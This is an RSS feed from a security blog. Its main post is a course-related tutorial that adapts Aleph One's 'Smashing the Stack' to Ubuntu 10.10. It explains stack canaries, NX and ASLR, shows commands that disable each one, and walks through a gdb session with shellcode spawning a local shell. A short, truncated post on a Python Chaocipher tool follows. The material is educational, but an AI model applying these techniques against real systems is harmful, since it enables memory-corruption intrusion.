<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>my 20%</title>
	<atom:link href="http://paulmakowski.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://paulmakowski.wordpress.com</link>
	<description>hacking, breaking things, malware, free time, etc.</description>
	<lastBuildDate>Mon, 09 Jan 2012 20:21:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='paulmakowski.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://1.gravatar.com/blavatar/ff8e23f9620cfb329bfacb6b3a899143?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>my 20%</title>
		<link>http://paulmakowski.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://paulmakowski.wordpress.com/osd.xml" title="my 20%" />
	<atom:link rel='hub' href='http://paulmakowski.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Smashing the Stack in 2011</title>
		<link>http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/</link>
		<comments>http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/#comments</comments>
		<pubDate>Tue, 25 Jan 2011 18:17:02 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aslr]]></category>
		<category><![CDATA[canary]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[fno-stack-protector]]></category>
		<category><![CDATA[nx]]></category>
		<category><![CDATA[randomize_va_space]]></category>
		<category><![CDATA[smashing the stack]]></category>
		<category><![CDATA[stack protection]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=367</guid>
		<description><![CDATA[Recently, as part of Professor Brumley&#8216;s Vulnerability, Defense Systems, and Malware Analysis class at Carnegie Mellon, I took another look at Aleph One (Elias Levy)&#8217;s Smashing the Stack for Fun and Profit article which had originally appeared in Phrack and on Bugtraq in November of 1996.  Newcomers to exploit development are often still referred (and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=367&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Recently, as part of <a href="http://www.ece.cmu.edu/~dbrumley/">Professor</a> <a href="http://security.ece.cmu.edu/">Brumley</a>&#8216;s <a href="http://www.ece.cmu.edu/~dbrumley/courses/18739c-s11/">Vulnerability, Defense Systems, and Malware Analysis</a> class at Carnegie Mellon, I took another look at Aleph One (Elias Levy)&#8217;s <a href="http://insecure.org/stf/smashstack.html"><em>Smashing the Stack for Fun and Profit</em></a> article which had originally appeared in <a href="http://www.phrack.com/">Phrack</a> and on <a href="http://seclists.org/bugtraq/">Bugtraq</a> in November of 1996.  Newcomers to exploit development are often still referred (and rightly so) to Aleph&#8217;s paper.  <em>Smashing the Stack</em> was the first lucid tutorial on the topic of exploiting stack based buffer overflow vulnerabilities.  Perhaps even more important was <em>Smashing the Stack</em>&#8216;s ability to force the reader to think like an attacker.  While the specifics mentioned in the paper apply only to stack based buffer overflows, the thought process that Aleph suggested to the reader is one that will yield success in any type of exploit development.</p>
<p>(Un)fortunately for today&#8217;s would be exploit developer, much has changed since 1996, and unless Aleph&#8217;s tutorial is carried out with additional instructions or on a particularly old machine, some of the exercises presented in <em>Smashing the Stack</em> will no longer work.  There are a number of reasons for this, some incidental, some intentional.  I attempt to enumerate the <em>intentional </em>hurdles here and provide instruction for overcoming some of the challenges that fifteen years of exploit defense research has presented to the attacker.  An effort is made to maintain the tutorial feel of Aleph&#8217;s article.</p>
<h1><span id="more-367"></span></h1>
<h1>Related Work</h1>
<ul>
<li>Craig J. Heffner wrote a <a href="http://www.ethicalhacker.net/content/view/122/2/">similar article</a>, which appeared on<a href="http://www.ethicalhacker.net/"> The Ethical Hacker Network</a> in February of 2007.  This article differs from Heffner&#8217;s by way of emphasis placed on exploit mitigations developed since 1996 and their effect on several excerpts from <em>Smashing the Stack</em> as well as their effect on several of Aleph&#8217;s examples.  Also, several years have passed since Heffner&#8217;s article and another update couldn&#8217;t hurt.</li>
<li><a href="http://www.mgraziano.info/">Mariano Graziano</a> and Andrea Cugliari wrote a much more formal paper, <a href="http://www.mgraziano.info/docs/stsi2010.pdf"><em>Smashing the stack in 2010</em></a>, on the mitigations discussed here as well as their counterparts on Windows.  From their abstract: <em>&#8220;First of all we are going to analyze all the basical theoretical aspects behind the concept of Buffer Overflows&#8230;Subsequently the paper will analyze in detail all the aspects and mechanisms that regulate the way in which Buffer Overflow works on Linux and Windows architectures taking with particular care also the countermeasures introduced until nowadays for both the mentioned operating systems&#8230;we are going also to try some tricks to bypass these protections, in order to exploit the vulnerability even if a countermeasure has been adopted in the modern operating systems.&#8221;</em> Regrettably, I had only become aware of their paper after I had published this post, and while Graziano/Cugliari&#8217;s paper and this blog post serve different purposes, my apologies to Graziano &amp; Cugliari for failing to find their paper previously.</li>
</ul>
<h1>Introduction</h1>
<p>Ubuntu has become a popular distribution for new Linux users as of late, so it&#8217;s probably not inappropriate to assume that budding security professionals interested in learning more about memory corruption exploitation have a certain likelihood to use the distribution.  As such, all instructions presented here have been tested on Ubuntu 10.10 i386 desktop vanilla (no updates; the only additional required package is <a href="http://pwet.fr/man/linux/administration_systeme/execstack">execstack</a>) running within VMWare Workstation 7.1.3.  Furthermore, Ubuntu provides a <a href="https://wiki.ubuntu.com/Security/Features">convenient table</a> telling us what we&#8217;re up against.  While these instructions have been tested on Ubuntu 10.10, their specifics should not vary greatly between distributions.  Google is your friend.</p>
<p>My intention is for the reader to have this article open in one tab and <a href="http://insecure.org/stf/smashstack.html"><em>Smashing the Stack</em></a> open in another.  Much of what Aleph explains has not changed since 1996 (e.g. the x86 <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Application_Binary_Interface">ABI</a>), so it would make little sense to repeat him here.  Rather, I will pick and choose excerpts &amp; examples that have become antiquated in some way, explain how they have been rendered so and what we can do to complete Aleph&#8217;s tutorial.  Changes to gcc that have nothing to do with exploit mitigations are glossed over.</p>
<p>Let&#8217;s begin.</p>
<h1>Dynamic Buffers</h1>
<blockquote><p>Dynamic variables are allocated at run time on  the stack&#8230;We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows.</p></blockquote>
<p>Aleph implies that an exploit author&#8217;s interest in dynamic buffers is limited to those found on the stack. Since 1996, much work has been completed on the topic of exploiting heap-based dynamic buffers as well, making such an implication antiquated.  The distinction between the types of allocations is commonly made by CS majors by referring to stack locals as <em>automatic</em>, while reserving the word <em>dynamic </em>for heap allocations.</p>
<p>Matt Conover and the w00w00 Security Team authored the <a href="http://www.cgsecurity.org/exploit/heaptut.txt">seminal paper</a> on the topic of heap-based buffer overflow exploitation in January of 1999.</p>
<h1>Use of the EBP/RBP Registers</h1>
<blockquote><p>Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose.</p></blockquote>
<p>It&#8217;s worth noting that on the <a href="https://secure.wikimedia.org/wikipedia/en/wiki/X86-64">AMD64/x86-64</a> architecture, 64bit OSes typically do <em>not </em>treat EBP (RBP is the equivalent 64bit register on the AMD64 architecture) as a special purpose register, as is common on x86 architectures.  This is one of many reasons why attempting <em>Smashing the Stack</em> on a AMD64 OS would make little sense.</p>
<p>Instead, [R|E]BP may be used as a general purpose register.  It should be noted (thank you, Prof Brumley!) that while it is <em>convention </em>to treat EBP as a pointer to a stack frame on x86 systems, there is nothing that forces a developer to treat the register as such.  That being said, if you&#8217;re developing for x86 Linux/Windows/OS X/etc and <em>don&#8217;t</em> use EBP according to convention, then you may run into trouble.  I can&#8217;t think of any specific examples, but you&#8217;ve been warned.</p>
<p>Why mention this?  EBP on x86 is treated as a control element &#8211; it points to the location of the previous stack frame.  Controlling this value would be beneficial for an attacker (see: <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Return-oriented_programming">return oriented programming</a>).  Knowing the difference in convention between x86 and AMD64 architectures is therefore interesting to an attacker.</p>
<h1>NX<strong><br />
</strong></h1>
<blockquote><p>Our code modifies itself, but most operating system (sic) mark code pages read-only. To get around this restriction we must place the code we wish to execute in the stack or data segment, and transfer control to it. To do so we will place our code in a global array in the data segment.</p></blockquote>
<p>This is where the past fifteen years offers us something exciting.  On recent x86 architectures (Pentium 4+), operating systems and compilers, Intel&#8217;s<a href="https://secure.wikimedia.org/wikipedia/en/wiki/NX_bit"> eXecute Disable Bit</a> (referred to as <em>NX</em> by Linux, as <em>DEP</em> or <em>NX</em> by Windows, and as <em>Enhanced Virus Protection</em>* by AMD) renders the above statement misleading. Jumping to the .data segment as Aleph suggests on a modern system would more than likely cause an segmentation fault, since a data segment should not legitimately contain executable code and will more than likely be stored in a page that has the NX bit set.</p>
<h6>*That&#8217;s a terrible name.</h6>
<p>Think of the idea as akin to POSIX permissions: different users/groups have different R(ead), W(rite) and (e)X(ecute) permissions on different files.  In 1996, x86 architectures only had the concept of R(ead) and W(rite) on memory pages.  If something was R(eadable), then it was also (e)X(ecutable).  Pentium 4 introduced hardware support for explicitly specifying whether a particular page should be (e)X(ecutable), hence <em>NX</em>.</p>
<p>Disabling NX mitigations varies with operating system and compiler; a gcc 4.4.5 / Ubuntu 10.10 method will be seen later in the examples.</p>
<h1>Stack Protection &amp; example2.c</h1>
<blockquote><p>This&#8230; program has a function with a typical buffer overflow coding error.  The function copies a supplied string without bounds checking by using strcpy() instead of strncpy().  If you run this program you will get a segmentation violation.</p></blockquote>
<p>The intent of this example is to crash the process by clobbering the return address, causing the process to attempt to return to 0&#215;41414141 (&#8216;AAAA&#8217;).  The process certainly still crashes, but not for the same reason.  Let&#8217;s look at the output generated by executing example2.c:</p>
<pre>vmuser@ubuntu:~$ nano example2.c
vmuser@ubuntu:~$ gcc -o example2 example2.c
example2.c: In function ‘function’:
example2.c:4: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./example2
<strong>*** stack smashing detected ***</strong>: ./example2 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x6ad980]
/lib/libc.so.6(+0xe592a)[0x6ad92a]
./example2[0x804844e]
[<strong>0x41414141</strong>]
======= Memory map: ========
0027f000-0029b000 r-xp 00000000 08:01 1051128    /lib/ld-2.12.1.so
(omitted)</pre>
<p>What happened here?  Recent versions of gcc include the capability to build a mechanism for stack buffer protection into compiled programs.  This capability is called <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Buffer_overflow_protection">ProPolice</a>, and according to Wikipedia, it&#8217;s been largely unchanged since gcc 4.1 (Ubuntu 10.10 ships with gcc 4.4.5).  A ProPolice patch is available for gcc 3.x versions and was added to the trunk in 4.x releases.  The concept of the stack canary was originally proposed by Crispin Cowan in 1997 as StackGuard.  The interested reader is referred to the <a href="https://secure.wikimedia.org/wikipedia/en/wiki/Buffer_overflow_protection">Wikipedia entry</a>.</p>
<p>OK, what does ProPolice/StackGuard/etc do?</p>
<p>The basic idea is to place a chosen or psuedo-random value between a stack frame&#8217;s data elements (e.g. char * buffers) and its control elements (e.g. RET address, stored EBP) that is either difficult for an attacker to replace during an attack or impossible for an attacker to predict.  Before the function whose frame has been clobbered is allowed to return, this <em>canary</em> is checked against a known good.  If that check fails, the process terminates, since it now considers its execution path to be in an untrusted state.  <em>&#8220;Canary&#8221;</em> is used to describe this inserted value as a homage to the old practice of keeping canaries (the birds) in mines as a way to determine when the mine&#8217;s atmosphere becomes toxic (the canaries die before the toxicity level reaches a point that is dangerous for humans).</p>
<p>OK, so how do we get the results that Aleph intended us to?</p>
<p>Simple: compile example2.c without stack protection:</p>
<pre>vmuser@ubuntu:~$ gcc -o example2 example2.c <strong>-fno-stack-protector</strong>
example2.c: In function ‘function’:
example2.c:4: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./example2
Segmentation fault</pre>
<p>Sweet, we crashed.  Win?</p>
<h1>example3.c</h1>
<p>This example is uninteresting from an exploit mitigation standpoint.  Stack protection will not need to be disabled, since we are directly modifying the RET address, rather than overflowing to it.  NX is irrelevant since we&#8217;re still returning into an eXecutable code segment.  ASLR (discussed later) is also irrelevant since we do not require knowledge of an absolute memory address.  Instead, example3 adds a static amount to the return address location.</p>
<p>This example does not work (it still prints &#8217;1&#8242;) on Ubuntu 10.10, but because this is due to factors that have nothing to do with exploit mitigations, I refer the reader to Craig Heffner&#8217;s <a href="http://www.ethicalhacker.net/content/view/122/2/">article</a> referenced earlier.</p>
<h1>ProPolice, NX &amp; overflow1.c</h1>
<blockquote><p>We have the shellcode.  We know it must be part of the string which we&#8217;ll use to overflow the buffer.  We  know we must point the return address back into the buffer.</p></blockquote>
<p>True in 1996, not so much in 2011.  As with many modern OSes, Ubuntu 10.10 executables as NX-compatible by default.  This is, of course, in addition to the default gcc 4.4.5 behavior of adding stack protection during compilation.  In order to get this example to work, we&#8217;re going to need to disable a couple of exploit mitigations.</p>
<p>Without any exploit mitigations:</p>
<pre>vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
*** stack smashing detected ***: ./overflow1 terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x410980]
/lib/libc.so.6(+0xe592a)[0x41092a]
./overflow1[0x80484ea]
/lib/libc.so.6(__libc_start_main+0x0)[0x341c00]
[0xc0310876]
======= Memory map: ========
0032b000-00482000 r-xp 00000000 08:01 1051152    /lib/libc-2.12.1.so
(omitted)</pre>
<p>ProPolice disabled:</p>
<pre>vmuser@ubuntu:~$ gcc -o overflow1 overflow1.c <strong>-fno-stack-protector</strong>
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
vmuser@ubuntu:~$</pre>
<p>Odd.  It didn&#8217;t crash, but it also didn&#8217;t spawn a new shell.  It turns out that this is due to gcc allocating far more stack space in recent versions than the gcc that Aleph was working with.  Again, this isn&#8217;t directly relevant to exploit mitigations, so I&#8217;m going to gloss over the reasoning behind this.</p>
<p>We need to modify overflow1.c in order to account for large amount of stack space allocated by our gcc 4.4.5:</p>
<pre>overflow1.c
------------------------------------------------------------------------------
...
  long *long_ptr = (long *) large_string;

  for (i = 0; i &lt; <strong>128</strong>; i++) <strong>&lt;-- change this to 128 iterations</strong>
    *(long_ptr + i) = (int) buffer;
...
------------------------------------------------------------------------------</pre>
<p>Make this modification to your overflow1.c, compile without ProPolice stack protection and with gdb debug symbols, then try executing again:</p>
<pre>vmuser@ubuntu:~$ gcc -o overflow1 <strong>-fno-stack-protector -ggdb</strong> overflow1.c
overflow1.c: In function ‘main’:
overflow1.c:16: warning: incompatible implicit declaration of built-in function ‘strlen’
overflow1.c:19: warning: incompatible implicit declaration of built-in function ‘strcpy’
vmuser@ubuntu:~$ ./overflow1
Segmentation fault</pre>
<p>Alright: a crash!  We may be onto something.  Let&#8217;s take a look at what&#8217;s happening in gdb:</p>
<pre>vmuser@ubuntu:~$ <strong>gdb overflow1</strong>
(omitted)
(gdb) <strong>b strcpy &lt;-- break at the call to strcpy()</strong>
Breakpoint 1 at 0x8048324
(gdb) <strong>run</strong> &lt;-- start program
Starting program: /home/vmuser/overflow1
Breakpoint 1, 0x001a31c5 in strcpy () from /lib/libc.so.6
(gdb) <strong>finish &lt;-- continue execution until strcpy() returns</strong>
Run till exit from #0  0x001a31c5 in strcpy () from /lib/libc.so.6
main () at overflow1.c:20
20    }
(gdb) <strong>disas &lt;-- let's see where we are</strong>
Dump of assembler code for function main:
(omitted)
=&gt; 0x0804847c &lt;+136&gt;:    add    $0x8c,%esp
 0x08048482 &lt;+142&gt;:    pop    %ebx
 0x08048483 &lt;+143&gt;:    mov    %ebp,%esp
 0x08048485 &lt;+145&gt;:    pop    %ebp
 0x08048486 &lt;+146&gt;:    ret   
(omitted)
(gdb) <strong>si &lt;-- step a few more instructions until we're at the ret</strong>
0x08048482    20    }
(gdb) <strong>si &lt;-- keep stepping...</strong>
0x08048483    20    }
(gdb) <strong>si &lt;-- and stepping...</strong>
0x08048485    20    }
(gdb) <strong>si &lt;-- last one</strong>
0x08048486 in main () at overflow1.c:20
20    }
(gdb) disas
Dump of assembler code for function main:
(omitted)
=&gt; 0x08048486 &lt;+146&gt;:    ret <strong>&lt;-- OK we're here</strong>
(omitted)
(gdb) <strong>x/a $esp &lt;-- to where will we 'return'?</strong>
0xbffff3fc:    0xbffff378
(gdb) <strong>x/16x 0xbffff378 &lt;-- what's at this address?</strong>
0xbffff378:    0x895e1feb    0xc0310876    0x89074688    0x0bb00c46
0xbffff388:    0x4e8df389    0x0c568d08    0xdb3180cd    0xcd40d889
0xbffff398:    0xffdce880    0x622fffff    0x732f6e69    0xbffff368
0xbffff3a8:    0xbffff378    0xbffff378    0xbffff378    0xbffff378</pre>
<p>That should look familiar; it&#8217;s the beginning of our shellcode.  What happens if we attempt to continue?</p>
<pre>(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048486 in main () at overflow1.c:20
20    }</pre>
<p>Segmentation fault.  That darn NX bit is ruining our day.  Let&#8217;s disable it.</p>
<pre>sudo apt-get update
sudo apt-get install execstac</pre>
<p><a href="http://pwet.fr/man/linux/administration_systeme/execstack">execstack</a> is a very simple program that modifies ELF headers to enable/disable NX protection on the stack in target binaries.  Linux will respect the values placed in the ELF headers because it is not uncommon for an old binary to require an eXecutable stack.  For a Windows equivalent discussion, take a look at <a href="http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections.pdf">ATL Thunk emulation</a> (warning: PDF*; search &#8220;ATL thunk&#8221; within the document).</p>
<h6>* An awesome PDF, that is.</h6>
<p>Let&#8217;s disable the NX bit and try once more:</p>
<pre>vmuser@ubuntu:~$ <strong>execstack -s</strong> overflow1
vmuser@ubuntu:~$ ./overflow1
$ exit
vmuser@ubuntu:~$</pre>
<p>Bingo.</p>
<h1>ASLR &amp; a Bunch of Examples</h1>
<blockquote><p>The problem we are faced when trying to overflow the buffer of another program is trying to figure out at what address the buffer (and thus our code) will be.  The answer is that for every program the stack will start at the same address.</p></blockquote>
<p>This is no longer true.  Most modern desktop and server OSes rebase their stacks, code segments, dynamically loaded libraries and more in order to make a target address space unpredictable to an attacker.  Address Space Layout Randomization (ASLR) is <a href="http://benpfaff.org/papers/asrandom.pdf">not particularly effective on the x86 architecture</a> (warning: PDF) and enjoys a much larger amount of entropy on the AMD64 architecture.  Regardless of the amount of bits available for pseudo-random rebasing, ASLR provides another hurdle for the attacker to overcome.  Unless the target process is a daemon that spawns a separate process on each exploitation attempt and then silently ignores segmentation faults &amp; exceptions, the lower amount of entropy available to x86 OSes is still going to prevent the attacker from conducting a successful exploit without a significant chance of a crash.</p>
<p>The inclusion of ASLR in Ubuntu 10.10 prevents us from gathering the type of results that 1996 would allow us to gather.  In order to find a static stack pointer value (sp.c is deterministic, so the value shouldn&#8217;t change in the normal course of execution), we need to disable ASLR.</p>
<p>First, let&#8217;s see what happens with ASLR enabled:</p>
<pre>vmuser@ubuntu:~$ gcc -o sp sp.c
sp.c: In function ‘main’:
sp.c:5: warning: incompatible implicit declaration of built-in function ‘printf’
sp.c:5: warning: format ‘%x’ expects type ‘unsigned int’, but argument 2 has type ‘long unsigned int’
vmuser@ubuntu:~$ ./sp
0xbfe83d18
vmuser@ubuntu:~$ ./sp
0xbfda6be8
vmuser@ubuntu:~$ ./sp
0xbf907128</pre>
<p>As you can see, the location of the bottom of the stack (pointed to by ESP) changes on every execution.</p>
<p>Now, let&#8217;s disable ASLR and try again:</p>
<pre>vmuser@ubuntu:~$ sudo su &lt;-- see 'anon's comment below for explanation
[sudo] password for vmuser:
root@ubuntu:/home/vmuser# echo 0 &gt; /proc/sys/kernel/randomize_va_space
root@ubuntu:/home/vmuser# cat /proc/sys/kernel/randomize_va_space
0
root@ubuntu:/home/vmuser# exit
exit
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428
vmuser@ubuntu:~$ ./sp
0xbffff428</pre>
<p>With ASLR disabled, we see results similar to Aleph&#8217;s description.  A deterministic program like sp.c should, without ASLR, print the same location on every execution.  Exploits often rely on the knowledge of where exactly something is mapped in target address space.  ASLR removes this knowledge from a would-be attacker.  The interested reader is referred to the <a href="ftp://ftp.mgts.by/pub/linux/kernel/people/jikos/randomization/brk-fix-2.patch">randomize_va_space kernel patch</a> for an explanation of possible values.</p>
<p>What does ASLR mean for exploit2.c as a primer to an attack on vulnerable.c?  Well, you&#8217;re in for a lot more guessing.  More importantly, any guess you choose will never be <em>right</em>, since the target space will be rebased on subsequent executions.  Using such an exploitation strategy would require guessing many times, every time &#8211; something that is often not feasible against real world applications.</p>
<p>What about exploit3.c?  In exploit3.c Aleph introduces a nopsled to his attack string.  This will still help, because guessing within a range preceding the shellcode (or in more general terms: the payload) will still allow one to execute shellcode.  The idea of a nopsled is tangential to the idea of ASLR.  ASLR will still prevent exploit3.c from working reliably, albeit slightly more reliably than exploit2.c</p>
<p>OK, what about Aleph&#8217;s technique of storing shellcode in an environment value?  Also affected by ASLR.  The example presented in exploit4.c will also require a lot of guessing with no correct answer in the face of ASLR.</p>
<p>If you wish to complete these examples, my suggestion is just to disable ASLR via /proc as demonstrated previously.</p>
<h1>Conclusion</h1>
<p>I&#8217;ve attempted to enumerate the challenges that the past 15 years of exploit research defense as applicable to Aleph&#8217;s seminal paper, <em>Smashing the Stack for Fun and Profit</em> and give instruction on how one might go about following Aleph&#8217;s tutorial on a modern OS, with a specific nod to Ubuntu 10.10.</p>
<p>There is, however, a very good chance I missed something.</p>
<p>Corrections, suggestions, critiques are much appreciated.  My hope is that this is helpful to some people; it certainly would have been helpful to me when I read <em>Smashing the Stack</em> for the first time.</p>
<br /> Tagged: <a href='http://paulmakowski.wordpress.com/tag/aslr/'>aslr</a>, <a href='http://paulmakowski.wordpress.com/tag/canary/'>canary</a>, <a href='http://paulmakowski.wordpress.com/tag/exploit/'>exploit</a>, <a href='http://paulmakowski.wordpress.com/tag/fno-stack-protector/'>fno-stack-protector</a>, <a href='http://paulmakowski.wordpress.com/tag/nx/'>nx</a>, <a href='http://paulmakowski.wordpress.com/tag/randomize_va_space/'>randomize_va_space</a>, <a href='http://paulmakowski.wordpress.com/tag/smashing-the-stack/'>smashing the stack</a>, <a href='http://paulmakowski.wordpress.com/tag/stack-protection/'>stack protection</a>, <a href='http://paulmakowski.wordpress.com/tag/ubuntu/'>ubuntu</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/paulmakowski.wordpress.com/367/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/paulmakowski.wordpress.com/367/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/paulmakowski.wordpress.com/367/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=367&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2d19687808fb542a2b41f928dac0017f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">my.hndl</media:title>
		</media:content>
	</item>
		<item>
		<title>Chaocipher: Now with ASCII Support</title>
		<link>http://paulmakowski.wordpress.com/2010/07/07/chaocipher-now-with-ascii-support/</link>
		<comments>http://paulmakowski.wordpress.com/2010/07/07/chaocipher-now-with-ascii-support/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 04:01:19 +0000</pubDate>
		<dc:creator>Paul Makowski</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ascii]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[chaocipher]]></category>
		<category><![CDATA[cipher]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://paulmakowski.wordpress.com/?p=325</guid>
		<description><![CDATA[There was a story on Slashdot last weekend about a cipher invented in 1918: the Chaocipher. In summary: John F. Byrne invented a two wheel enciphering device.  He tried, unsuccessfully, to sell the idea to the Navy and the U.S. Signal Corp.  During his lifetime, he revealed the secret of the Chaocipher to only three people.  His [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=paulmakowski.wordpress.com&amp;blog=9037365&amp;post=325&amp;subd=paulmakowski&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>There was a <a href="http://www.ciphermysteries.com/2010/07/03/the-chaocipher-revealed" target="_blank">story on Slashdot</a> last weekend about a cipher invented in 1918: the Chaocipher.</p>
<p>In summary: John F. Byrne invented a two wheel enciphering device.  He tried, unsuccessfully, to sell the idea to the Navy and the U.S. Signal Corp.  During his lifetime, he revealed the secret of the Chaocipher to only three people.  His daughter-in-law wasn&#8217;t as committed to secrecy: she recently donated the machine to the National Cryptologic Museum, allowing for public scrutiny.</p>
<p>Despite receiving criticism for keeping the workings of the cipher a secret (a major no-no in cryptographic study), the coverage suggests that at least some cryptographers believed the cipher to be at least as strong as Enigma.  Enigma operated on anywhere between three and eight wheels, depending on model.</p>
<p>Moshe Rubin published an <a href="http://www.mountainvistasoft.com/chaocipher/ActualChaocipher/Chaocipher-Revealed-Algorithm.pdf" target="_blank">excellent whitepaper</a> on the device and I thought it might be fun to implement the cipher in software.  The whitepaper includes an implementation in Perl which I found entirely too confusing and entirely too removed from the mechanical implementation, so I wrote my own.  I have a strange idea of fun.  And yes I went out for the 4th of July.</p>
<p><em>Before you read any further, it would help to read Moshe&#8217;s paper linked above.</em></p>
<p>The Chaocipher supported 26 characters (the English alphabet, single case).</p>
<p>My implementation adds the following:</p>
<ul>
<li>full printable ASCII* support &#8212; it should be trivial to modify for Unicode support</li>
<li>keyfile support (format: &lt;initial CT alphabet&gt;&lt;NULL byte&gt;&lt;initial PT alphabet&gt;)</li>
</ul>
<p><em>*Technically it&#8217;s all ASCII characters numbered between 9 and 126 (decimal).</em></p>
<p>Considering the secret in the Chaocipher scheme is the initial configuration of the ciphertext (CT) and plaintext (PT) alphabets, it made sense to record these in some sort of keyfile.  The keyfile would be the secret in secure communications employing chaocipher and would presumably be communicated out of band.  Considering I wanted to support all printable ASCII characters including whitespace, I used a NULL byte as a separator between the CT and PT alphabets in the keyfile.  The keyfile is flexible in that the supported character set is that which is defined.  As such, it&#8217;s entirely possible to encrypt the example used in Moshe&#8217;s paper using the original 26 character set.  A file is linked below to facilitate.  <em>Side note: I used Ghex to create the example keyfile, but any hex editor should do, considering a NULL byte must be written.</em></p>
<p>The script supports the following actions:</p>
<ul>
<li>encryption with a specified keyfile</li>
<li>encryption with randomly generated alphabets*</li>
<li>decryption with a specified keyfile</li>
</ul>
<p><em>*If no keyfile is specified during encryption, one is created using the kernel&#8217;s PRNG and written to a timestamped location in the working directory.</em></p>
<p>Examples:</p>
<blockquote><p><strong>./chaocipher.py -k chaocipher_example -e &#8220;WELLDONEISBETTERTHANWELLSAID&#8221;</strong><br />
PT: WELLDONEISBETTERTHANWELLSAID<br />
CT: T0FIUUhDTllOWFRTWkpSUkhKQllIUUtTT1VKWQ== (base64 encoded)</p>
